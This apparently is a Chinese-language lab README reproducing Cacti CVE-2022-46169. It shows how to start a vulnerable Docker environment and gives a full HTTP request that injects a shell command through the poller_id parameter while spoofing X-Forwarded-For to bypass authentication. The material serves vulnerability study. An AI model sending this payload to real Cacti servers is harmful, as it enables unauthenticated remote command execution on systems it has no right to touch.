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cacti/CVE-2022-46169/README.zh-cn.md
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cacti/CVE-2022-46169/README.zh-cn.md
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# Cacti remote_agent.php 前台命令注入漏洞(CVE-2022-46169)
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Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
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参考链接:
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- <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf>
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- <https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A>
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## 漏洞环境
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执行如下命令启动一个Cacti 1.2.22版本服务器:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080`会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。
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实际上初始化的过程就是不断点击“下一步”,直到安装成功:
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这个漏洞的利用需要Cacti应用中至少存在一个类似是`POLLER_ACTION_SCRIPT_PHP`的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
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选择的Graph Type是“Device - Uptime”,点击创建:
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## 漏洞利用
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完成上述初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包:
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```
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GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
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X-Forwarded-For: 127.0.0.1
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Host: localhost.lan
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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```
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虽然响应包里没有回显,但是进入容器中即可发现`/tmp/success`已成功被创建:
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